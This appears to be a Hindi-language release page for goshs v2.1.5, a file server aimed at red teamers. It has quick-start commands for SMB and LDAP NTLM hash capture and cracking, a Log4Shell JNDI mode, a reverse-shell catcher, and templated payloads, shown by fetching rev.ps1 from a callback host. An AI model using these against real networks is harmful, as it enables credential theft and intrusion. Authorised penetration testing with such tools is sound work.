अपडेट पर वापस जाएँ
New releaseAug 2, 2026

goshs v2.1.5

रेड टीमर्स और डेवलपर्स के लिए फीचर-रिच सिंगल-बाइनरी फ़ाइल सर्वर। HTTP/S · WebDAV · FTP/SFTP · SMB · LDAP/S · NTLM हैश कैप्चर · DNS/SMTP कॉलबैक · TLS · प्रमाणीकरण · शेयर लिंक। एक शक्तिशाली python3 -m http.server का विकल्प।

साझा करें

Version GitHub License GitHub go.mod Go version GitHub issues Downloads Stars goreleaser codecov OpenSSF Scorecard OpenSSF Best Practices

goshs-logo

आप एक मध्य-आक्रमण में हैं। आपको एक फ़ाइल ट्रांसफर करनी है, SMB हैश पकड़ना है, या तुरंत HTTPS सर्वर खड़ा करना है — और python3 -m http.server काम नहीं आएगा।

goshs एक एकल-बाइनरी फ़ाइल सर्वर है जो उन पलों के लिए बनाया गया है जब आपको Python के SimpleHTTPServer से अधिक चाहिए लेकिन Apache कॉन्फ़िगर नहीं करना चाहते। HTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S, बेसिक ऑथ, शेयर लिंक, DNS/SMTP कॉलबैक, NTLM हैश कैप्चर + क्रैकिंग — सब एक ही कमांड से।

परिचय

goshs-screenshot-light goshs-screenshot-dark

डेमो

इसे स्वयं आज़माएं: demo.goshs.de

goshs-demo

त्वरित प्रारंभ

# वर्तमान निर्देशिका को पोर्ट 8000 पर सर्व करें
goshs

# HTTPS (स्व-हस्ताक्षरित) और बेसिक ऑथ के साथ सर्व करें
goshs -s -ss -b user:password

# SMB हैश कैप्चर करें
goshs -smb -smb-domain CORP

# LDAP क्रेडेंशियल और NTLM हैश कैप्चर करें (वैकल्पिक वर्डलिस्ट क्रैकिंग के साथ)
goshs -ldap
goshs -ldap -ldap-wordlist /usr/share/wordlists/rockyou.txt

# DNS कॉलबैक पकड़ें और ईमेल प्राप्त करें
goshs -dns -dns-ip 1.2.3.4 -smtp -smtp-domain your-domain.com

# 2 घंटे के बाद स्वयं-नष्ट हो जाएं
goshs --ttl 2h

# इंटरैक्टिव टर्मिनल डैशबोर्ड के साथ चलाएं (हेडलेस SSH सत्रों के लिए बढ़िया)
goshs --tui

# पेलोड को सर्व करें जो डाउनलोड के समय स्वचालित रूप से आपका कॉलबैक होस्ट/पोर्ट भर दें
goshs -i 10.10.14.7 --template --tpl-var LPORT=4444
# रेंडर किया गया प्राप्त करें: curl 'http://10.10.14.7:8000/rev.ps1?tpl'

दस्तावेज़ीकरण

विस्तृत दस्तावेज़ीकरण के लिए docs.goshs.de पर जाएं

विशेषताएं

📁 फ़ाइल संचालनडाउनलोड (HTTP Range के माध्यम से रिज्यूमेबल और सीकेबल), अपलोड (ड्रैग और ड्रॉप, POST/PUT), डिलीट, बल्क ZIP, QR कोड
🔌 प्रोटोकॉलHTTP/S, WebDAV, FTP/SFTP, SMB, LDAP/S
🔒 प्रमाणीकरण और सुरक्षाबेसिक ऑथ, सर्टिफिकेट ऑथ, TLS (स्व-हस्ताक्षरित, Let's Encrypt, कस्टम सर्ट), IP व्हाइटलिस्ट, फ़ाइल-आधारित ACL
⚙️ सर्वर मोडकेवल-पढ़ने, केवल-अपलोड, कोई-डिलीट नहीं, साइलेंट, अदृश्य, CLI कमांड निष्पादन, TTL स्व-विनाश
🔗 शेयर लिंकटोकन-आधारित शेयरिंग, डाउनलोड सीमा, समय सीमा
🎯 सहयोग / CTFDNS सर्वर, SMTP सर्वर, SMB NTLM हैश कैप्चर + क्रैकिंग, LDAP क्रेडेंशियल कैप्चर + NTLM हैश क्रैकिंग (Log4Shell के लिए JNDI मोड), रीडायरेक्ट एंडपॉइंट, रिवर्स शेल कैचर + पेलोड जनरेटर
🧩 पेलोड टेम्प्लेटिंगसर्व की गई फ़ाइलों में {{.LHOST}}/{{.LPORT}} + कस्टम --tpl-var वैल्यू को मांग पर रेंडर करें (?tpl)
🔔 एकीकरणवेबहुक, localhost.run के माध्यम से टनल, कॉन्फ़िग फ़ाइल, JSON API, mDNS
🖥️ TUI डैशबोर्डइंटरैक्टिव फुल-स्क्रीन टर्मिनल डैशबोर्ड; HTTP, DNS, SMB, LDAP, SMTP, रिवर्स शेल और क्लिपबोर्ड के लिए लाइव पैन; टर्मिनल से शेल अटैच और अपग्रेड करें
🛠️ विविधडार्क/लाइट थीम, क्लिपबोर्ड, सेल्फ-अपडेट, लॉग आउटपुट, फ़ाइल एम्बेड करें, विशेषाधिकार घटाएं

स्थापना

विधि
🐧 curl | shcurl -sSfL https://goshs.de/install.sh | sh
🦫 Gogo install goshs.de/goshs/v2@latest
🐉 Kali & Parrot OSsudo apt install goshs
🎗️ Arch Linux (AUR)yay -S goshs-bin
🖤 BlackArchpacman -S goshs
🏔️ Alpine Linux (edge)apk add goshs
🫙 Snapsnap install goshs
🎩 Fedora / RHEL (COPR)dnf copr enable goshs-labs/goshs && dnf install goshs
🦎 openSUSEsudo zypper install goshs
❄️ Nix / NixOSnix-env -iA nixpkgs.goshs
🍺 Homebrewbrew install goshs
🪟 Scoopscoop bucket add extras && scoop install extras/goshs
🪟 wingetwinget install GoshsLabs.Goshs
🍫 Chocolateychoco install goshs
🐳 Dockerdocker run --rm -it -p 8000:8000 -v "$PWD:/pwd" goshs-labs/goshs:latest -d /pwd
📦 रिलीज़GitHub रिलीज़ से डाउनलोड करें
🐚 शेल ऑटो-कम्प्लीशन

goshs bash, fish, और zsh के लिए टैब कम्प्लीशन इंस्टॉल कर सकता है:

goshs --completion bash
goshs --completion fish
goshs --completion zsh

macOS पर Homebrew के साथ सही Homebrew पथ स्वचालित रूप से उपयोग किया जाता है। इंस्टॉलेशन के बाद कमांड एक सटीक सक्रियण निर्देश प्रिंट करता है, उदाहरण के लिए:

source ~/.local/share/bash-completion/completions/goshs
🔧 स्वयं बनाएं

बंडल किए गए वेब एसेट कमिटेड हैं, इसलिए एक सामान्य बिल्ड बस काम करता है:

git clone https://github.com/goshs-labs/goshs.git
cd goshs
go build -o goshs .

यदि आप JavaScript या SCSS स्रोतों को बदलते हैं, तो पहले esbuild और sass स्थापित करके एसेट को पुनः बनाएं:

make generate
go build -o goshs .

कोड योगदानकर्ता

योगदानकर्ता

सुरक्षा योगदानकर्ता

ये वे अद्भुत योगदानकर्ता हैं जिन्होंने goshs को और अधिक सुरक्षित बनाया ❤️

समुदाय

Discord समुदाय में शामिल हों और जुड़ना शुरू करें।

डिस्कॉर्ड से जुड़ें

स्टार इतिहास

स्टार इतिहास चार्ट

श्रेय

एक विशेष धन्यवाद sc0tfree को जाता है जिन्होंने अपने Python में लिखे प्रोजेक्ट updog से इस प्रोजेक्ट को प्रेरित किया।

श्रेणियाँ